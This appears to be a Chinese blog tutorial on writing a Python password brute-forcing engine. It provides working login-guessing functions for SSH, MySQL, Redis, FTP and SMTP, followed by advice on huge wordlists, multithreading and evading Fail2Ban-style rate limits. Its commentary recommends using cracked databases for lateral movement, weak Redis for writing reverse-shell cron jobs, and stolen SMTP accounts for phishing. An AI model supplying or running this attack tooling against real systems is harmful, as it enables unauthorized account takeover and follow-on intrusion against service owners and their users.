python协议自动爆破
Python 自动化安全工具:多协议口令爆破开发实战
协议爆破(Protocol Bruteforcing)的核心逻辑高度一致:建立连接 -> 提交凭据(账号/密码) -> 捕获特定异常以判断是否成功 -> 资源释放。一个专业的爆破脚本,其工程质量不仅体现在协议覆盖面,更体现在对异常情况的精准捕捉与高并发处理能力上。
一、 核心协议爆破模块解析
在开发爆破引擎时,我们将每种协议的认证过程封装为独立的原子函数(Atomic Function)。以下是五大常见协议的实现细节:
1. SSH 协议爆破 (Port 22) - paramiko 库
SSH 是服务器管理的核心入口,也是爆破的重灾区。paramiko 是 Python 处理 SSH 的行业标准库。
- 依赖安装:
pip install paramiko - 认证逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18import paramiko
def check_ssh(host, port, user, password):
client = paramiko.SSHClient()
# 必须设置自动添加主机密钥,否则未知主机会直接拒绝连接
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
# timeout 是连接超时,auth_timeout 是认证超时
client.connect(hostname=host, port=port, username=user, password=password, timeout=3, auth_timeout=3)
return True # 登录成功
except paramiko.AuthenticationException:
return False # 凭据错误 (核心判断)
except paramiko.SSHException as e:
# 常见于并发过高被目标主机的防爆破机制(如 Fail2Ban)拦截或连接重置
# 实战中建议记录此类错误,并引入重试或延迟机制
return None
finally:
client.close()
2. MySQL 数据库爆破 (Port 3306) - pymysql 库
数据库通常作为内网横向移动的关键目标,极易存在弱口令(如 root:root 或 root:123456)。
- 依赖安装:
pip install pymysql 认证逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import pymysql
def check_mysql(host, port, user, password):
try:
# connect() 成功即代表认证通过
conn = pymysql.connect(host=host, port=port, user=user, password=password, connect_timeout=3)
conn.close()
return True
except pymysql.err.OperationalError as e:
# 错误码 1045 代表 Access denied (密码错误)
if e.args[0] == 1045:
return False
# 其他网络或服务异常
return None
except Exception:
return None
3. Redis 缓存数据库爆破 (Port 6379) - redis 库
Redis 早期版本默认无密码且暴露公网,常被用于未授权访问直接写入计划任务反弹 Shell。较新版本即使配置了密码,也常常是弱口令。注意:Redis 的爆破速度极快,防范极弱。
- 依赖安装:
pip install redis 认证逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16import redis
def check_redis(host, port, password):
try:
# Redis 6.0 之前通常没有用户名,直接验证密码
# 设置 socket_connect_timeout 避免长时间挂起
r = redis.Redis(host=host, port=port, password=password, socket_connect_timeout=3)
# 必须调用 ping() 才会真正发起网络交互并验证鉴权
if r.ping():
return True
except redis.exceptions.AuthenticationError:
return False # 密码错误
except redis.exceptions.ConnectionError:
return None # 端口关闭或网络异常
finally:
r.close()
4. FTP 文件传输协议 (Port 21) - 原生 ftplib 库
FTP 协议为明文传输。渗透测试中需重点关注匿名登录(Anonymous Login)以及常规的弱口令爆破。
- 依赖安装:Python 内置,无需安装。
认证逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import ftplib
def check_ftp(host, port, user, password):
ftp = ftplib.FTP()
try:
ftp.connect(host, port, timeout=3)
# login 抛出异常代表失败,不抛出代表成功
ftp.login(user, password)
return True
except ftplib.error_perm:
# 530 Login incorrect.
return False
except Exception:
# 连接超时或被主动拒绝
return None
finally:
try:
ftp.quit() # 优雅断开
except:
pass
5. SMTP 邮件传输协议 (Port 25/465/587) - 原生 smtplib 库
获取 SMTP 凭据后,不仅能用于信息收集(内部通讯录),更常用于钓鱼邮件的合法源伪造(社会工程学攻击)。
- 依赖安装:Python 内置,无需安装。
- 认证逻辑:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20import smtplib
def check_smtp(host, port, user, password):
try:
# 现代邮件服务器通常要求 SSL/TLS
if port in [465]:
server = smtplib.SMTP_SSL(host, port, timeout=3)
else:
server = smtplib.SMTP(host, port, timeout=3)
server.starttls() # 升级为安全连接
server.login(user, password)
server.quit()
return True
except smtplib.SMTPAuthenticationError:
# 认证失败 (常见返回码 535)
return False
except Exception:
# 网络异常或 TLS 协商失败
return None
二、 协议爆破引擎架构与进阶优化
掌握了上述认证函数后,要写出媲美 Hydra 或 Medusa 的高阶实战工具,还需在您的脚本中引入以下架构设计:
1. 字典处理与内存优化
当加载 GB 级别的超大字典(如 rockyou.txt)时,千万不要使用 readlines() 将其全部读入内存,这会导致 Python 进程 OOM(内存溢出)。应使用 生成器(Generator) 逐行读取:
1 | def load_dict(file_path): |
2. 高并发控制
单线程爆破毫无实战意义。必须使用 concurrent.futures 模块实现多线程并发。由于这些库内部都是 I/O 密集型操作(等待网络响应),多线程是最佳选择。
3. 连接异常与速率限制规避
在实战中,高频次的认证请求极易触发防火墙拦截(如目标主机的 SSH 连接数被耗尽,返回 Connection reset by peer)。
- 盲目重试陷阱:如果不区分“凭据错误”和“网络阻断”,直接把网络异常当作鉴权失败,会漏报大量正确密码。
- 优化方案:在捕获到非认证类的网络异常时(如上述代码中返回
None的情况),应引入time.sleep()动态回退机制,降低爆破速率,并在超时后将该(user, password)重新放回任务队列等待重试。





